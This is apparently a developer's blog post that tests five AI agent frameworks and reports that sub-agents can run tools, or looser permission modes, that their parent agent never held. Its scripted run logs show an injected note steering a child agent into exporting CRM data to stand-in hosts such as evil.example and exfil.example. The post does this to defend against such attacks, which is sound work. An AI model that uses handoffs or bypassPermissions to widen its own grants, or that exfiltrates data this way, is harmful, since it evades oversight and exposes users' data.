When agent A hands work to agent B, what can B call? I assumed the answer was "at most what A can call". It isn't, in any of the five frameworks I use. Here's what each one actually does, from runs I did on 2026-09-02 with scripted models and no API key.
| Framework | Child inherits parent's tools? | Handoff can widen? | Built-in narrowing? |
|---|---|---|---|
| LangGraph / Deep Agents 0.7.6 | No. Child runs its own spec. | Yes | None |
| CrewAI 1.15.16 | No. Coworker runs its own list. | Yes | None. A hierarchical manager may hold no tools at all. |
| Claude Code 2.1.258 / Agent SDK 0.2.139 | Yes, by default. | Tools no. Permission mode yes. | Partial. Tool pool is capped at the parent's. |
| OpenAI Agents SDK 0.22.0 | No. Target runs its own list. | Yes | None. input_filter edits history, not tools. |
| Google ADK 2.7.1 | No. Sub-agent runs its own list. | Yes | None. disallow_transfer_to_peers picks targets, not tools. |
"Widen" means: the child executed a tool the parent never held, through the framework's own handoff. Every run below prints which tool bodies actually ran, so the answer doesn't depend on reading the model's text.
LangGraph and Deep Agents
Supervisor holds write_brief. The writer subagent's spec lists write_brief and web_search. A note in the writer's input tells it to search.
[1] langchain 1.3.15 + deepagents 0.7.6, no guard
supervisor holds write_brief; the `writer` subagent's spec also lists web_search
writer's tool bodies that ran: [('web_search', 'site:exfil.example internal customer list'), ('write_brief', 'Q3 brief.')]
LangChain says it plainly. Deep Agents permissions: "Subagents inherit the parent agent's permissions by default… This replaces the parent's rules entirely." A general subagent middleware in core is #33879, open since 2025-11-07. The fix is one middleware on the subagent spec, twelve lines. I wrote that up separately: Does a LangGraph subagent inherit its parent's tool permissions? I tested it.
CrewAI
Orchestrator holds crm_query and allow_delegation=True. The exporter coworker declares crm_query and crm_export. The orchestrator delegates with CrewAI's own "Delegate work to coworker" tool.
RUN 2 Orchestrator delegates to `exporter`, which declares crm_export
[TOOL BODY RAN] crm_query(rows=4200)
[TOOL BODY RAN] crm_export -> https://evil.example/drop
parent tool set ['crm_query', 'delegate_work_to_coworker', 'ask_question_to_coworker']
child tool set ['crm_query', 'crm_export']
child ran crm_export -- a tool the parent does NOT hold? True
The mechanism: the delegation tool calls execute_task on the coworker with no tools argument, and the coworker resolves tools or agent.tools or []. The delegating agent isn't a term in that expression. A coworker that declares tools=[] gets nothing, not the parent's set.
The part that surprised me is Process.hierarchical. The manager's visible tools are only the two delegation tools, and a manager that declares any tool is rejected:
RUN 4b A manager agent that DOES declare a tool
CrewAI raised: Exception: Manager agent should not have tools
So in hierarchical mode the delegator always holds less than its workers. That's a routing design, and the docs describe allow_delegation as routing: "When allow_delegation=True, agents automatically gain access to powerful collaboration tools" (collaboration). I couldn't find a sentence about what tools the coworker runs with. Upstream: #2917 "Allow delegation to specific agents only" closed by the stale bot, PR #2068 closed unmerged, and even that would have constrained who you delegate to, not what the delegate can call. #5888, a governance hook for tool authorization, is open.
Claude Code and the Claude Agent SDK
This one is different, and the difference is worth understanding. Claude Code has two things people both call permissions.
The tool pool is tools (--tools). A subagent that omits tools "inherits every tool available to subagents if omitted" (sub-agents). A subagent that lists tools gets only those, and "a tool you leave out isn't in the subagent's session at all" (SDK subagents). The pool is the parent's, narrowed. Tools can't widen here.
The permission rules are allowed_tools and the permission mode. allowed_tools is "tool names that are auto-allowed without prompting for permission", per the SDK source. It's an auto-approve list, not a restriction. And the mode precedence is stated in one direction only: "If the parent uses bypassPermissions or acceptEdits, this takes precedence and can't be overridden." Nothing says a stricter parent clamps a looser child. A parent in the default manual mode with a child declaring bypassPermissions is a documented widening of the permission grant.
I didn't run this one live. I drove the SDK's real command builder and read what goes to the CLI:
parent options.tools = ['Read', 'Grep', 'Glob', 'Agent']
parent permission_mode = default (Manual)
child AgentDefinition.tools= ['Read', 'Bash', 'WebFetch']
child permissionMode = bypassPermissions
The child's tools go out verbatim in the initialize request. The parent's limits travel on separate CLI flags. A sweep of the installed SDK for intersection logic found none. Four upstream issues about subagent permissions not being bounded by the parent's (#20264, #12232, #40343, #25000) are all closed, none by a fix. The way to bound a subagent's actions today is a PreToolUse hook, and I have a PreToolUse hook that leaves a receipt.
OpenAI Agents SDK
Triage holds crm_query. The specialist it hands off to declares crm_query and crm_export. Handoffs are tools to the model, so triage calls transfer_to_specialist.
EXPERIMENT A — triage {crm_query}; handoff -> specialist {crm_query, crm_export}
final agent: specialist
tool bodies that RAN : [('crm_query', 50), ('crm_export', 'https://exfil.example/drop')]
A handoff target that declares no tools gets none, not triage's:
EXPERIMENT B — triage {crm_query}; handoff target declares NO tools
SDK raised: ModelBehaviorError: Tool crm_query not found in agent bare
tools offered to bare : []
People point at input_filter as the permission mechanism. It isn't. Every field of HandoffInputData is conversation history. I wrote a filter that emptied the whole history and crm_export still ran. The handoffs docs are consistent with that: "it's as though the new agent takes over the conversation, and gets to see the entire previous conversation history", and "Input guardrails still apply only to the first agent in the chain." Agents-as-tools widens the same way, inside the parent's own turn. I wrote up one policy for two Agents SDK agents separately. Upstream, #2515 named it, "When Agent A hands off to Agent B, there is no mechanism to validate trust levels", and a maintainer answered "We don't have immediate plans to add this feature to the core SDK." Closed 2026-03-08.
Google ADK
Coordinator holds crm_query. The exporter sub-agent declares crm_query and crm_export. The coordinator calls transfer_to_agent.
tool bodies that RAN : [('crm_query', 50), ('crm_export', 'https://exfil.example/drop')]
A sub-agent with no tools is offered only transfer_to_agent, and calling the parent's tool fails with ValueError: Tool 'crm_query' not found. Same shape as the others: the child's list is its own. AgentTool widens the same way inside the parent's turn.
disallow_transfer_to_peers looks like a permission and isn't one. It shapes the instruction text and the agent_name enum the model sees. In my run on 2.7.1 an agent with the flag set still transferred to its peer when the scripted model named it, and the peer ran crm_export. That's the gap #3850 described. A maintainer wrote there that "the ADK lacks a secondary, runtime-level check to validate that the calling agent has permission to transfer to the target agent." The issue was closed on 2026-06-18. The docs describe the transfer mechanism and say nothing about what tools the target runs with. More on what crosses an ADK transfer.
What the five have in common
None of them consults the parent when the child's grant is computed. Four of five let the child hold a tool the parent doesn't. The fifth caps the tool pool but lets the permission mode loosen. In every case the child's grant comes from its own definition, and the handoff is routing.
That's a reasonable design for the problem these frameworks set out to solve, which is coordinating work. It's the wrong default for the problem I have, which is a sub-agent that gets talked into something by the content it was handed. I found the same shape when I reviewed our own adapters like an attacker. I want the handoff to be a narrowing: the child holds the intersection of what it asks for and what the parent holds, and I can prove that from the log afterwards.
What I do about it
Each framework has a seam where you can add that intersection yourself. LangChain has wrap_tool_call. CrewAI has before_tool_call hooks. Claude Code has PreToolUse. ADK has before_tool_callback and plugins. The OpenAI Agents SDK has RunHooks.on_tool_start and tool-level is_enabled. The twelve-line LangGraph version is in the post above. I put the general version, scopes and ceilings and a lifetime instead of tool names, plus a hash-chained log you verify offline, in an open-source library, attenu-guard, with an adapter for each of these five and twelve more. The scripts behind every row in the table are in the repo under examples/baselines, so you can re-run them against the next release. Docs: attenu-guard docs.
So does a sub-agent inherit its parent's permissions?
No. In LangGraph, CrewAI, the OpenAI Agents SDK and Google ADK the child runs whatever its own definition lists, and it can hold a tool the parent never had. In Claude Code the child's tools are capped at the parent's pool, but its permission mode can be looser than the parent's.
If one of these frameworks does bound the child and I missed it, tell me. I'll re-run and correct the row.
Top comments (0)